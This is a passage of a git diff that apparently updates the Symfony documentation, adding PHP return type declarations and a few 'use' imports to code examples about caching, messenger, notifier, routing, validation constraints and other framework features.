@@ -210,7 +210,7 @@ allows you to return a list of extensions to register::
 
     class TestedTypeTest extends TypeTestCase
     {
-        protected function getExtensions()
+        protected function getExtensions(): array
         {
             $validator = Validation::createValidator();
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 0bbcf934e58..f41d6f578fc 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -63,7 +63,7 @@ version string::
             $this->format = $format ?: '%s?%s';
         }
 
-        public function getVersion(string $path)
+        public function getVersion(string $path): string
         {
             if (!is_array($this->hashes)) {
                 $this->hashes = $this->loadManifest();
@@ -72,7 +72,7 @@ version string::
             return $this->hashes[$path] ?? '';
         }
 
-        public function applyVersion(string $path)
+        public function applyVersion(string $path): string
         {
             $version = $this->getVersion($path);
 
@@ -83,7 +83,7 @@ version string::
             return sprintf($this->format, $path, $version);
         }
 
-        private function loadManifest()
+        private function loadManifest(): array
         {
             return json_decode(file_get_contents($this->manifestPath), true);
         }
diff --git a/http_cache.rst b/http_cache.rst
index 71a05bfad41..e1f1a57399c 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -213,9 +213,8 @@ The *easiest* way to cache a response is by caching it for a specific amount of
 
         // src/Controller/BlogController.php
         use Symfony\Component\HttpFoundation\Response;
-        // ...
 
-        public function index()
+        public function index(): Response
         {
             // somehow create a Response object, like by rendering a template
             $response = $this->render('blog/index.html.twig', []);
diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst
index 6d0254f4510..cb0db8c674d 100644
--- a/http_cache/cache_vary.rst
+++ b/http_cache/cache_vary.rst
@@ -42,7 +42,7 @@ attribute::
 
         #[Cache(vary: ['Accept-Encoding'])]
         #[Cache(vary: ['Accept-Encoding', 'User-Agent'])]
-        public function index()
+        public function index(): Response
         {
             // ...
         }
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 166672d2c05..aaf1de564c1 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -189,8 +189,10 @@ of the main page::
         // ...
         class NewsController extends AbstractController
         {
-            public function latest($maxPerPage)
+            public function latest(int $maxPerPage): Response
             {
+                // ...
+
                 // sets to public and adds some expiration
                 $response->setSharedMaxAge(60);
 
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index e6d05311662..692c3db7622 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -25,7 +25,7 @@ is used to specify many different cache directives::
         // ...
 
         #[Cache(public: true, maxage: 600)]
-        public function index()
+        public function index(): Response
         {
             // ...
         }
@@ -72,7 +72,7 @@ the ``setExpires()`` ``Response`` method::
         // ...
 
         #[Cache(expires: '+600 seconds')]
-        public function index()
+        public function index(): Response
         {
             // ...
         }
diff --git a/lock.rst b/lock.rst
index de976f1cfb0..35c3dc5be3c 100644
--- a/lock.rst
+++ b/lock.rst
@@ -174,12 +174,13 @@ To lock the default resource, autowire the lock factory using
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Lock\LockFactory;
 
     class PdfController extends AbstractController
     {
         #[Route('/download/terms-of-use.pdf')]
-        public function downloadPdf(LockFactory $factory, MyPdfGeneratorService $pdf)
+        public function downloadPdf(LockFactory $factory, MyPdfGeneratorService $pdf): Response
         {
             $lock = $factory->createLock('pdf-creation');
             $lock->acquire(true);
@@ -213,12 +214,13 @@ processes asking for the same ``$version``::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Lock\LockFactory;
 
     class PdfController extends AbstractController
     {
         #[Route('/download/{version}/terms-of-use.pdf')]
-        public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf)
+        public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf): Response
         {
             $lock = $lockFactory->createLock('pdf-creation-'.$version);
             $lock->acquire(true);
@@ -293,12 +295,13 @@ For instance, the ``invoice`` lock can be injected by naming the argument
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Lock\LockFactory;
 
     class PdfController extends AbstractController
     {
         #[Route('/download/terms-of-use.pdf')]
-        public function downloadPdf(LockFactory $invoiceLockFactory, MyPdfGeneratorService $pdf)
+        public function downloadPdf(LockFactory $invoiceLockFactory, MyPdfGeneratorService $pdf): Response
         {
             // ...
         }
diff --git a/logging.rst b/logging.rst
index ecc14a9b8b0..ffa967962e5 100644
--- a/logging.rst
+++ b/logging.rst
@@ -26,8 +26,9 @@ Logging a Message
 To log a message, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
+    // ...
 
-    public function index(LoggerInterface $logger)
+    public function index(LoggerInterface $logger): Response
     {
         $logger->info('I just got the logger');
         $logger->error('An error occurred');
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index ad06cfabbff..fabccc72e62 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -13,7 +13,7 @@ calls need to be wrapped in conditions. For example::
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
 
-    protected function execute(InputInterface $input, OutputInterface $output)
+    protected function execute(InputInterface $input, OutputInterface $output): int
     {
         if ($output->isDebug()) {
             $output->writeln('Some info');
@@ -22,6 +22,8 @@ calls need to be wrapped in conditions. For example::
         if ($output->isVerbose()) {
             $output->writeln('Some more info');
         }
+
+        // ...
     }
 
 Instead of using these semantic methods to test for each of the verbosity
@@ -47,10 +49,12 @@ The example above could then be rewritten as::
         ) {
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $this->logger->debug('Some info');
             $this->logger->notice('Some more info');
+
+            // ...
         }
     }
 
diff --git a/mailer.rst b/mailer.rst
index 205d4abbc3f..63a91977c2e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1354,7 +1354,7 @@ render the email before calling ``$mailer->send($email)``::
     use Symfony\Component\Mailer\MailerInterface;
     use Symfony\Component\Mime\BodyRendererInterface;
 
-    public function action(MailerInterface $mailer, BodyRendererInterface $bodyRenderer)
+    public function action(MailerInterface $mailer, BodyRendererInterface $bodyRenderer): void
     {
         $email = (new TemplatedEmail())
             ->htmlTemplate($template)
@@ -1781,7 +1781,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 
     class MailControllerTest extends WebTestCase
     {
-        public function testMailIsSentAndContentIsOk()
+        public function testMailIsSentAndContentIsOk(): void
         {
             $client = static::createClient();
             $client->request('GET', '/mail/send');
diff --git a/mercure.rst b/mercure.rst
index 34f5f0c4b70..55889a33ff7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -628,7 +628,7 @@ You can instead make use of the ``MockHub`` class::
 
     class MessageControllerTest extends TestCase
     {
-        public function testPublishing()
+        public function testPublishing(): void
         {
             $hub = new MockHub('https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
                 // $this->assertTrue($update->isPrivate());
diff --git a/messenger.rst b/messenger.rst
index b1349f476d9..8e6648f9dcb 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -96,11 +96,12 @@ You're ready! To dispatch the message (and call the handler), inject the
 
     use App\Message\SmsNotification;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Messenger\MessageBusInterface;
 
     class DefaultController extends AbstractController
     {
-        public function index(MessageBusInterface $bus)
+        public function index(MessageBusInterface $bus): Response
         {
             // will cause the SmsNotificationHandler to be called
             $bus->dispatch(new SmsNotification('Look! I created a message!'));
@@ -392,7 +393,7 @@ Then, in your handler, you can query for a fresh object::
         ) {
         }
 
-        public function __invoke(NewUserWelcomeEmail $welcomeEmail)
+        public function __invoke(NewUserWelcomeEmail $welcomeEmail): void
         {
             $user = $this->userRepository->find($welcomeEmail->getUserId());
 
@@ -1697,7 +1698,7 @@ during a request::
 
     class DefaultControllerTest extends WebTestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             $client = static::createClient();
             // ...
@@ -1900,7 +1901,7 @@ You can configure your handler by passing options to the attribute::
     #[AsMessageHandler(fromTransport: 'async', priority: 10)]
     class SmsNotificationHandler
     {
-        public function __invoke(SmsNotification $message)
+        public function __invoke(SmsNotification $message): void
         {
             // ...
         }
@@ -1994,13 +1995,13 @@ A single handler class can handle multiple messages. For that add the
     class SmsNotificationHandler
     {
         #[AsMessageHandler]
-        public function handleSmsNotification(SmsNotification $message)
+        public function handleSmsNotification(SmsNotification $message): void
         {
             // ...
         }
 
         #[AsMessageHandler]
-        public function handleOtherSmsNotification(OtherSmsNotification $message)
+        public function handleOtherSmsNotification(OtherSmsNotification $message): void
         {
             // ...
         }
@@ -2039,7 +2040,7 @@ To do this, add the ``from_transport`` option to each handler. For example::
     #[AsMessageHandler(fromTransport: 'image_transport')]
     class ThumbnailUploadedImageHandler
     {
-        public function __invoke(UploadedImage $uploadedImage)
+        public function __invoke(UploadedImage $uploadedImage): void
         {
             // do some thumbnailing
         }
@@ -2146,7 +2147,7 @@ provided in order to ease the declaration of these special handlers::
     {
         use BatchHandlerTrait;
 
-        public function __invoke(MyMessage $message, Acknowledger $ack = null)
+        public function __invoke(MyMessage $message, Acknowledger $ack = null): mixed
         {
             return $this->handle($message, $ack);
         }
@@ -2201,7 +2202,7 @@ to your message::
     use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Stamp\DelayStamp;
 
-    public function index(MessageBusInterface $bus)
+    public function index(MessageBusInterface $bus): void
     {
         $bus->dispatch(new SmsNotification('...'), [
             // wait 5 seconds before processing
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index 28a449d70cb..ae810a7fee1 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -60,7 +60,7 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
         ) {
         }
 
-        public function __invoke(RegisterUser $command)
+        public function __invoke(RegisterUser $command): void
         {
             $user = new User($command->getUuid(), $command->getName(), $command->getEmail());
             $this->em->persist($user);
@@ -97,7 +97,7 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
         ) {
         }
 
-        public function __invoke(UserRegistered $event)
+        public function __invoke(UserRegistered $event): void
         {
             $user = $this->em->getRepository(User::class)->find($event->getUuid());
 
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index e7bae04cbea..39bab140a58 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -50,7 +50,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
         ) {
         }
 
-        public function __invoke()
+        public function __invoke(): void
         {
             $result = $this->query(new ListItemsQuery(/* ... */));
 
diff --git a/migration.rst b/migration.rst
index 4c1286125da..5be3ea51834 100644
--- a/migration.rst
+++ b/migration.rst
@@ -410,7 +410,7 @@ component::
     {
         // ...
 
-        public function load($resource, $type = null)
+        public function load($resource, $type = null): RouteCollection
         {
             $collection = new RouteCollection();
             $finder = new Finder();
diff --git a/notifier.rst b/notifier.rst
index 84b74d7bcf1..887909824ca 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -163,6 +163,7 @@ send SMS messages::
     // src/Controller/SecurityController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\Message\SmsMessage;
     use Symfony\Component\Notifier\TexterInterface;
     use Symfony\Component\Routing\Annotation\Route;
@@ -170,7 +171,7 @@ send SMS messages::
     class SecurityController
     {
         #[Route('/login/success')]
-        public function loginSuccess(TexterInterface $texter)
+        public function loginSuccess(TexterInterface $texter): Response
         {
             $sms = new SmsMessage(
                 // the phone number to send the SMS message to
@@ -294,6 +295,7 @@ you to send messages to chat services::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\ChatterInterface;
     use Symfony\Component\Notifier\Message\ChatMessage;
     use Symfony\Component\Routing\Annotation\Route;
@@ -303,7 +305,7 @@ you to send messages to chat services::
         /**
          * @Route("/checkout/thankyou")
          */
-        public function thankyou(ChatterInterface $chatter)
+        public function thankyou(ChatterInterface $chatter): Response
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
                 // if not set explicitly, the message is sent to the
@@ -543,6 +545,7 @@ To send a notification, autowire the
     // src/Controller/InvoiceController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Notifier\Notification\Notification;
     use Symfony\Component\Notifier\NotifierInterface;
     use Symfony\Component\Notifier\Recipient\Recipient;
@@ -550,7 +553,7 @@ To send a notification, autowire the
     class InvoiceController extends AbstractController
     {
         #[Route('/invoice/create')]
-        public function create(NotifierInterface $notifier)
+        public function create(NotifierInterface $notifier): Response
         {
             // ...
 
@@ -677,7 +680,7 @@ sent using the Slack transport::
     class InvoiceController extends AbstractController
     {
         #[Route('/invoice/create')]
-        public function invoice(NotifierInterface $notifier)
+        public function invoice(NotifierInterface $notifier): Response
         {
             // ...
 
@@ -712,7 +715,7 @@ very high and the recipient has a phone number::
         ) {
         }
 
-        public function getChannels(RecipientInterface $recipient)
+        public function getChannels(RecipientInterface $recipient): array
         {
             if (
                 $this->price > 10000
diff --git a/performance.rst b/performance.rst
index a0a7847dcd3..eb52a796515 100644
--- a/performance.rst
+++ b/performance.rst
@@ -250,7 +250,7 @@ and Symfony will inject the ``debug.stopwatch`` service::
         ) {
         }
 
-        public function export()
+        public function export(): void
         {
             // the argument is the name of the "profiling event"
             $this->stopwatch->start('export-data');
diff --git a/profiler.rst b/profiler.rst
index 772a01d21c3..caae5993093 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -126,7 +126,7 @@ class in your controllers to manage the profiler programmatically::
     {
         // ...
 
-        public function someMethod(?Profiler $profiler)
+        public function someMethod(?Profiler $profiler): Response
         {
             // $profiler won't be set if your environment doesn't have the profiler (like prod, by default)
             if (null !== $profiler) {
@@ -230,7 +230,7 @@ event::
 
         // ...
 
-        public function onKernelResponse(ResponseEvent $event)
+        public function onKernelResponse(ResponseEvent $event): void
         {
             if (!$this->kernel->isDebug()) {
                 return;
@@ -274,7 +274,7 @@ request::
 
     class RequestCollector extends AbstractDataCollector
     {
-        public function collect(Request $request, Response $response, \Throwable $exception = null)
+        public function collect(Request $request, Response $response, \Throwable $exception = null): void
         {
             $this->data = [
                 'method' => $request->getMethod(),
@@ -341,6 +341,7 @@ template access to the collected information::
     namespace App\DataCollector;
 
     use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
+    use Symfony\Component\VarDumper\Cloner\Data;
 
     class RequestCollector extends AbstractDataCollector
     {
@@ -351,17 +352,17 @@ template access to the collected information::
             return 'data_collector/template.html.twig';
         }
 
-        public function getMethod()
+        public function getMethod(): string
         {
             return $this->data['method'];
         }
 
-        public function getAcceptableContentTypes()
+        public function getAcceptableContentTypes(): array
         {
             return $this->data['acceptable_content_types'];
         }
 
-        public function getSomeObject()
+        public function getSomeObject(): Data
         {
             // use the cloneVar() method to dump collected data in the profiler
             return $this->cloneVar($this->data['method']);
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 34413aec55e..a91cb8dc616 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -175,7 +175,7 @@ that extends ``AbstractExtension``::
         ) {
         }
 
-        public function getFilters()
+        public function getFilters(): array
         {
             return [
                 new TwigFilter('greet', [$this, 'greetUser']),
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 0ce381fb9b5..d89b17c9f46 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -222,6 +222,7 @@ the number of requests to the API::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
@@ -229,7 +230,7 @@ the number of requests to the API::
     {
         // if you're using service autowiring, the variable name must be:
         // "rate limiter name" (in camelCase) + "Limiter" suffix
-        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter): Response
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -271,11 +272,12 @@ using the ``reserve()`` method::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function registerUser(Request $request, RateLimiterFactory $authenticatedApiLimiter)
+        public function registerUser(Request $request, RateLimiterFactory $authenticatedApiLimiter): Response
         {
             $apiKey = $request->headers->get('apikey');
             $limiter = $authenticatedApiLimiter->create($apiKey);
@@ -334,7 +336,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 
     class ApiController extends AbstractController
     {
-        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter): Response
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index d7ee188f9a4..56c3f1ca1bb 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -157,7 +157,7 @@ you can access it using the ``getConnection()`` method and the name of the conne
 
     class SomeController
     {
-        public function someMethod(ManagerRegistry $doctrine)
+        public function someMethod(ManagerRegistry $doctrine): void
         {
             $connection = $doctrine->getConnection('customer');
             $result = $connection->fetchAll('SELECT name FROM customer');
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 2a14eff4531..2b6b855eded 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -39,7 +39,7 @@ Configuration
         class Author
         {
             #[Assert\Callback]
-            public function validate(ExecutionContextInterface $context, $payload)
+            public function validate(ExecutionContextInterface $context, $payload): void
             {
                 // ...
             }
@@ -75,12 +75,12 @@ Configuration
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Callback('validate'));
             }
 
-            public function validate(ExecutionContextInterface $context, $payload)
+            public function validate(ExecutionContextInterface $context, $payload): void
             {
                 // ...
             }
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 2ec882298ec..8e3b11a01ce 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -119,7 +119,7 @@ you can access those choices for validation or for building a select form elemen
 
     class Author
     {
-        public static function getGenres()
+        public static function getGenres(): array
         {
             return ['fiction', 'non-fiction'];
         }
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 26192069a8c..593aa4b8ba7 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -32,12 +32,12 @@ properties::
 
         // ...
 
-        public function getCategory()
+        public function getCategory(): string
         {
             return $this->category;
         }
 
-        public function setIsTechnicalPost($isTechnicalPost)
+        public function setIsTechnicalPost(bool $isTechnicalPost): void
         {
             $this->isTechnicalPost = $isTechnicalPost;
         }
@@ -109,7 +109,7 @@ One way to accomplish this is with the Expression constraint:
 
         class BlogPost
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Expression([
                     'expression' => 'this.getCategory() in ["php", "symfony"] or !this.isTechnicalPost()',
@@ -202,7 +202,7 @@ assert that the expression must return ``true`` for validation to fail.
 
             class BlogPost
             {
-                public static function loadValidatorMetadata(ClassMetadata $metadata)
+                public static function loadValidatorMetadata(ClassMetadata $metadata): void
                 {
                     $metadata->addPropertyConstraint('isTechnicalPost', new Assert\Expression([
                         'expression' => 'this.getCategory() in ["php", "symfony"] or value == false',
@@ -346,7 +346,7 @@ type (numeric, boolean, strings, null, etc.)
 
         class Analysis
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('metric', new Assert\Expression([
                     'expression' => 'value + error_margin < threshold',
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 04cd4d1c1e1..28e15976f3c 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -67,7 +67,7 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
 
         class Book
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('chapters', new Assert\Json([
                     'message' => 'You\'ve entered an invalid Json.',
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 0f92c9cce54..56d400fb964 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -194,7 +194,7 @@ disable validating:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Traverse(false));
             }
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 59b481b3175..67e4cb35377 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -62,7 +62,7 @@ Basic Usage
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('identifier', new Assert\Ulid());
             }
diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index ed855857b1d..cb5b4c935b2 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -128,7 +128,7 @@ One way to accomplish this is with the When constraint:
 
         class Discount
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('value', new Assert\GreaterThan(0));
                 $metadata->addPropertyConstraint('value', new Assert\When([
@@ -198,7 +198,7 @@ validation based on its value:
             private ?string $type;
             // ...
 
-            public function doComplexValidation(ExecutionContextInterface $context, $payload)
+            public function doComplexValidation(ExecutionContextInterface $context, $payload): void
             {
                 // ...
             }
@@ -250,7 +250,7 @@ validation based on its value:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('type', new Assert\When([
                     'expression' => 'value == "percent"',
@@ -260,7 +260,7 @@ validation based on its value:
                 ]));
             }
 
-            public function doComplexValidation(ExecutionContextInterface $context, $payload)
+            public function doComplexValidation(ExecutionContextInterface $context, $payload): void
             {
                 // ...
             }
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 7b953e20e3c..28f79bd7905 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -423,7 +423,7 @@ service class::
 
     class MyClearer implements CacheClearerInterface
     {
-        public function clear(string $cacheDirectory)
+        public function clear(string $cacheDirectory): void
         {
             // clear your cache
         }
@@ -490,7 +490,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 
     class MyCustomWarmer implements CacheWarmerInterface
     {
-        public function warmUp($cacheDirectory)
+        public function warmUp($cacheDirectory): array
         {
             // ... do some sort of operations to "warm" your cache
 
@@ -506,7 +506,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
             return $filesAndClassesToPreload;
         }
 
-        public function isOptional()
+        public function isOptional(): bool
         {
             return true;
         }
@@ -642,12 +642,12 @@ the :class:`Symfony\\Contracts\\Translation\\LocaleAwareInterface` interface::
 
     class MyCustomLocaleHandler implements LocaleAwareInterface
     {
-        public function setLocale($locale)
+        public function setLocale(string $locale): void
         {
             $this->locale = $locale;
         }
 
-        public function getLocale()
+        public function getLocale(): string
         {
             return $this->locale;
         }
@@ -1106,7 +1106,7 @@ required option: ``alias``, which defines the name of the extractor::
         /**
          * Extracts translation messages from a template directory to the catalog.
          */
-        public function extract(string $directory, MessageCatalogue $catalog)
+        public function extract(string $directory, MessageCatalogue $catalog): void
         {
             // ...
         }
@@ -1114,7 +1114,7 @@ required option: ``alias``, which defines the name of the extractor::
         /**
          * Sets the prefix that should be used for new found messages.
          */
-        public function setPrefix(string $prefix)
+        public function setPrefix(string $prefix): void
         {
             $this->prefix = $prefix;
         }
diff --git a/reference/events.rst b/reference/events.rst
index 19678449386..92f917f9115 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -61,7 +61,7 @@ entirely::
 
     use Symfony\Component\HttpKernel\Event\ControllerEvent;
 
-    public function onKernelController(ControllerEvent $event)
+    public function onKernelController(ControllerEvent $event): void
     {
         // ...
 
@@ -93,7 +93,7 @@ found::
 
     use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent;
 
-    public function onKernelControllerArguments(ControllerArgumentsEvent $event)
+    public function onKernelControllerArguments(ControllerArgumentsEvent $event): void
     {
         // ...
 
@@ -125,7 +125,7 @@ HTML contents) into the ``Response`` object needed by Symfony::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Event\ViewEvent;
 
-    public function onKernelView(ViewEvent $event)
+    public function onKernelView(ViewEvent $event): void
     {
         $value = $event->getControllerResult();
         $response = new Response();
@@ -157,7 +157,7 @@ before sending it back (e.g. add/modify HTTP headers, add cookies, etc.)::
 
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
 
-    public function onKernelResponse(ResponseEvent $event)
+    public function onKernelResponse(ResponseEvent $event): void
     {
         $response = $event->getResponse();
 
@@ -186,7 +186,7 @@ the translator's locale to the one of the parent request)::
 
     use Symfony\Component\HttpKernel\Event\FinishRequestEvent;
 
-    public function onKernelFinishRequest(FinishRequestEvent $event)
+    public function onKernelFinishRequest(FinishRequestEvent $event): void
     {
         if (null === $parentRequest = $this->requestStack->getParentRequest()) {
             return;
@@ -238,7 +238,7 @@ sent as response::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Event\ExceptionEvent;
 
-    public function onKernelException(ExceptionEvent $event)
+    public function onKernelException(ExceptionEvent $event): void
     {
         $exception = $event->getThrowable();
         $response = new Response();
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index a3f3d970419..a7aec281a46 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -77,7 +77,7 @@ JavaScript::
 
     class Robot
     {
-        public function sayHi($times)
+        public function sayHi(int $times): string
         {
             $greetings = [];
             for ($i = 0; $i < $times; $i++) {
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 29601e860f8..34230659aff 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -33,7 +33,7 @@ be used to move the ``attachment`` file to a permanent location::
 
     use Symfony\Component\HttpFoundation\File\UploadedFile;
 
-    public function upload()
+    public function upload(): Response
     {
         // ...
 
diff --git a/routing.rst b/routing.rst
index 9047511e719..ff0d4a53c5c 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2289,7 +2289,7 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // ...
 
@@ -2639,7 +2639,7 @@ service, which you can inject in your services or controllers::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // ...
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index ec3b5efcb1b..d4ab6880c2e 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -280,7 +280,7 @@ you do. The resource name itself is not actually used in the example::
     {
         private bool $isLoaded = false;
 
-        public function load($resource, string $type = null)
+        public function load($resource, string $type = null): RouteCollection
         {
             if (true === $this->isLoaded) {
                 throw new \RuntimeException('Do not add the "extra" loader twice');
@@ -307,7 +307,7 @@ you do. The resource name itself is not actually used in the example::
             return $routes;
         }
 
-        public function supports($resource, string $type = null)
+        public function supports($resource, string $type = null): bool
         {
             return 'extra' === $type;
         }
@@ -324,7 +324,7 @@ have to create an ``extra()`` method in the ``ExtraController``::
 
     class ExtraController extends AbstractController
     {
-        public function extra($parameter)
+        public function extra(mixed $parameter): Response
         {
             return new Response($parameter);
         }
@@ -452,7 +452,7 @@ configuration file - you can call the
 
     class AdvancedLoader extends Loader
     {
-        public function load($resource, string $type = null)
+        public function load($resource, string $type = null): RouteCollection
         {
             $routes = new RouteCollection();
 
@@ -466,7 +466,7 @@ configuration file - you can call the
             return $routes;
         }
 
-        public function supports($resource, string $type = null)
+        public function supports($resource, string $type = null): bool
         {
             return 'advanced_extra' === $type;
         }
diff --git a/security.rst b/security.rst
index 1daa0325788..e6abdff0696 100644
--- a/security.rst
+++ b/security.rst
@@ -2362,7 +2362,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
     +     ) {
     +     }
 
-          public function generateReport()
+          public function generateReport(): void
           {
               $salesData = [];
 
